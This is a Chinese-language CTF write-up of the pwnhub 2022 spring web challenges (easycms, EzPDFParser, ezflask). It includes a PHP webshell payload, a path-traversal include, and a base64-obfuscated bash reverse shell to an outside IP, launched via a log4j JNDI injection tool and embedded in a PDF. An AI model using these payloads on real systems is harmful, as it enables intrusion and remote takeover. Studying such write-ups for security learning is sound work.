pwnhub2022春季赛
pwnhub春季赛web
简介
周末一堆事情,而且周日正常上课,搞得没有好好打。所以认真复现一下。
easycms
- mysql恶意服务端读取文件
- 路径拼接导致的文件包含
mysql恶意服务端读取任意文件
然后路径大概是这样:
1 | /var/www/html/route/route.php |
读取到testTool的时候就发现了hint
1 | class testTool extends baseTool |
他有一个反序列化字符串的地方,没有过滤或者限制
因此直接就能phpinfo
但是并没有什么用,不过我们可以知道remote_addr的值为218.94.97.29
接下来尝试用下面的方法写shell进去,没有任何过滤
但是写入的shell会在/tmp/sandbox/027abbac7d8dc5486b5f33965cfce8c4/
目录下,没办法直接访问
因为$this->class
可控而且拼接,所以可以直接目录穿越包含刚刚写入的shell
但是这里要注意他有个后缀Tool.php
,因此写入的时候让文件名也是xxxTool.php
即可
写入:
post
1 | Y0U_CA0_n3vEr_F1nD_m3_LOL[file]=asoulTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL[data]=eval($_POST[1]); |
包含:
EzPDFParser
https://votiro.com/blog/preventing-log4j-cve-2021-44228-exploits-using-pdf-as-a-delivery-channel/
漏洞复现类赛题
通过题目war包可以看到log4j的依赖
反弹shell
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4xNDQuNDEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} |
vps开启监听
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4xNDQuNDEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 1.117.144.41 |
pdf插入payload
ezflask
并发可以写入,比赛的时候写进去了,但是当时环境有问题,之后修复环境之后一血就没了